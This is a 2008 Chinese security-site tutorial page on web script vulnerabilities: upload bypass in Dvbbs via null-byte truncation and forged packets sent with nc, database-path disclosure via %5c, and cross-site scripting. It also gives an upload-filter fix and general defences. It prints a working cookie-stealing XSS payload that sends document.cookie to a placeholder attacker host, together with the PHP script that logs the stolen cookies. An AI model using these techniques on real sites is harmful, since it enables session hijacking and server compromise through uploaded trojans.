通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
推荐:网站中SQL注入脚本漏洞的挖掘与防护
责任编辑:酷酷の鱼   更新日期:2008-4-2
 
 

在脚本漏洞中,除了sql注入漏洞外还存在很多脚本漏洞,如上传漏洞、暴库漏洞、跨站漏洞、权限提升漏洞cookies欺骗漏洞等。

上传漏洞:程序代码对上传过滤不严造成可以上传扩展名为aspphp的脚本文件,恶意用户就利用这个漏洞上传aspphp木马直接危急网站及服务器。从2004年国内上传漏洞暴出导致一大片站点被黑,我们看一看原始的动网上传漏洞的原因。

动网upfile.asp文件中有这么一句代码:

filename=formPath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&ranNum&"."&fileExt,其中变量filename是要保存上传头像的文件名, fileExt是要保存文件的后缀。下面我们来看看判断后缀的依据从何而来。

reg_upload.asp中部分代码如下:

<form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" >

<input type="hidden" name="filepath" value="uploadFace">

<input type="hidden" name="act" value="upload">

<input type="file" name="file1">

<input type="hidden" name="fname">

<input type="submit" name="Submit" value="上传" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,

parent.document.forms[0].Submit2.disabled=true;">

</form>

我们可以看到upfile.asp程序是提取file1表单和fname表单中的值来做文件后缀判断的,

file1fname的值来源于客户端,这给我们欺骗服务端的程序提供了可能。这里直接从页面上递交我们的ASP文件是行不通的。但是,如果我们自己构造数据包就可以绕过服务端文件类型的检测了。而在这句

filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt,代码中我们发现,只要让frompath变量做为一个已经结束的字符串,那么后面的那些改变上传文件名的函数就都不起作用了。在计算机中检测字符串是否结束是通过检测'/0'来实现的,只要发现了'/0'就认为结束;也就是说我们在构造上传文件保存路径时,只要欺骗计算机,让他认为类似 "uploadface/mm.asp"这样的路径参数已经结束了,从而达到直接将文件保存为我们定义的文件名的目的。(其实upfile.asp判断你上传的头像是否为asp后缀并不重要的,漏洞的关键就是一个formPath变量没有过滤及截断的问题。只要我们设定formPath的变量为“uploadface/xx.asp”这样的值,再在这个值后加个00截断字符就可以了。上传的asp后缀没有变化,只是因为我们把formPath的变量指定为了uploadface/xx.asp这种格式。file1forame表单值只是判断我们上传的文件是否合法的jpggif后缀而已,而上传asp文件的后缀指定不是因为这两个。

黑客的攻击手法就是通过注册后上传asp木马(当然失败),在上传的同时进行抓包,将抓的包保存在记事本中,修改包中的asp扩展名为gif欺骗服务器,再修改包里增加文件的长度,再修正空格为’/0’,然后用nc –vv 网站  80  <修改的文本.txt提交数据服务器就成功上传了一个脚本木马。当然后来网上写成了软件提高了率效,如老兵上传利工具等。对于上传漏洞的防范,我们可以直接通过上传组件进行防范,如下:

这里以ASPUPLOAD组件上传为例

以下是3个关键函数:

function killext(byval s1) '去掉非法文件后缀

dim allowext

allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.R,.

AVI,.MPG,.MPEG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF"

s1=ucase(s1)

if len(s1)=0 then

  killext=""

else

  if not chk(allowext,s1,",") then

   killext=".shit"

  else

   killext=s1

  end if

end if

end function

 

function chk(byval s1,byval s2,byval fuhao) '检查字符串包含

dim i,a

chk=false

a=split(s1,fuhao)

for i = 0 to ubound(a)

  if trim(a(i))=trim(s2) then

   chk=true

   exit for

  end if

next

end function

 

function gname(byval n1) '以日期自动产生目录和文件名,参数1生成目录,参数2生成文件名(无后缀)

dim t,r

t=now()

randomize(timer)

r=int((rnd+1-1)*9999)

select case n1

case 1

gname=year(t)&right("00"&month(t),2)&right("00"&day(t),2)

case 2

gname=right("00"&hour(t),2)&right("00"&minute(t),2)&right("00"&second(t),2)&right

("0000"&r,4)

end select

end function

调用方法:

dim oup,ofile,ext,myfile

Set oup = Server.CreateObject("Persits.Upload")

oup.SetMaxSize 10000000, True

call oup.Save()  '这里是上传到服务器内存,并没有实际文件产生

set ofile = oup.files(1)

ext=killext(ofile.ext)

myfile="/" & ganme(1) & "/" & gname(2) & ext

call ofile.saveas(server.mappath(myfile))

当然php程序也有部分存在上传漏洞,如DISCUZ2.0论坛等。

下面我们来看一下暴库:

我们知道一个网站的数据都存放在数据库里,包括管理员的用户名和密码,当我们取得后可以直接在网站的后台登录,然后通过欺骗上传或备分数据库上传的方法上传一个asp木马。常见的暴库方法用conn.asp方法和%5c方法,通常要在ie选项的高级设置中去掉“显示友好http错误”选项的勾。

Conn.asp暴库方法:大多网站都采用conn.asp作为网站的数据库连接文件,通常黑客们采用直接访问conn.asp使服务器产生错误暴出路径,但这种漏洞已很少存在。%5c是一个精典的暴库方法,通常把网站有数据库连接的网址(通常是二级目录下)的最后一个“/”改为“%5c,即可暴出数据库。原理就是%5c16进制中的“\,ie通常遇到“%5c”是不会转换的,当iis遇到%5c,即认为是“\”时,iis就以为遇到了一个虚拟目录便停止解析,而暴出数据库的路径。

对暴库的防范,首先在conn.asp中加入容错语句,对于上传上去的数据库要进行加密,数据库中的密码也要采取md5加密,在数据库名中加入#号,将数据库后缀改为asp等。

跨站漏洞

漏洞成因:是因为CGI程序没有对用户提交的变量中的HTML代码进行过滤或转换。主要危害有:获取其他用户Cookie中的敏感数据和挂马

例如:

1 进入首页http://localhost

2 输入用户名“<h1>”,提交,发现服务器返回信息中包含了用户提交的“<h1>”。

3 分析抓包数据,得到实际请求:

http://localhost/test/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6

4 构造一个提交,目标是能够显示用户Cookie信息:
http://localhost/test//login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6
5
如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://localhost/test/login/login.pl?username=<script>window.open("http://www.xxx.com/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
其中http://www.xxx.com/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信

息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://localhostt");
注:“%2B”“+”URL编码,并且这里只能用“%2B”,因为“+”将被作为空格处理。后面的header 句则纯粹是为了增加隐蔽性。

当然跨站还有多种攻击形式,如诱使网站管理员查看图片建立管理员帐号,跳转窗口到网马地址,利用cookies欺骗登录后台等。

防范方法:

 过滤或转换用户提交数据中的HTML代码

2 限制用户提交数据的长度

3 不要轻易访问别人给你的链接
4
禁止浏览器运行JavaScriptActiveX代码

还有权限提升漏洞cookies欺骗漏洞等多种脚本漏洞

上一页  [1] [2] [3] 

  • 上一篇文章:
  • 下一篇文章: 没有了
  • 最近更新
    推荐文章 瑞星公司04月02日发布 每日计算机病毒及木马播报
    普通文章 "MSN蠕虫"再肆虐 向用户发送诱惑性消息
    普通文章 新西兰18岁少年黑客获刑 曾侵入130万台电脑
    普通文章 灰鸽子仍旧泛滥! 卡巴斯基病毒一周报
    普通文章 新版iframe挂马攻击手段篡改上百万网页
    普通文章 黑客大赛:Mac已破 Vista,Linux暂时无恙
    普通文章 黑客大赛闭幕 Linux幸免于难
    普通文章 打PowerPoint漏洞补丁 防ppt蛀虫病毒
    普通文章 防火墙的分类与作用 浅论防火墙技术应用
    普通文章 详细阐述计算机网络安全的6大指标
    热门文章
    普通文章蠕虫利用MSN,YAHOO聊天工具传播恶意广告
    普通文章网游盗号木马再次袭来 多款网游遭殃
    普通文章磁碟机专杀成小杀毒软件 自带引擎与病毒库
    普通文章电子标签技术成黑客目标 安全亟待解决
    普通文章信用卡软件漏洞泄露数据 Visa发警告
    普通文章蠕虫病毒利用MSN聊天工具传播恶意广告
    普通文章瑞星建成国内首个“病毒自动分析系统”
    普通文章Mozilla高层炮轰苹果利用补丁通道强装Safari
    普通文章禁止指定程序运行的方法
    普通文章alpha2 shellcode解密的vbs脚本
    精彩专题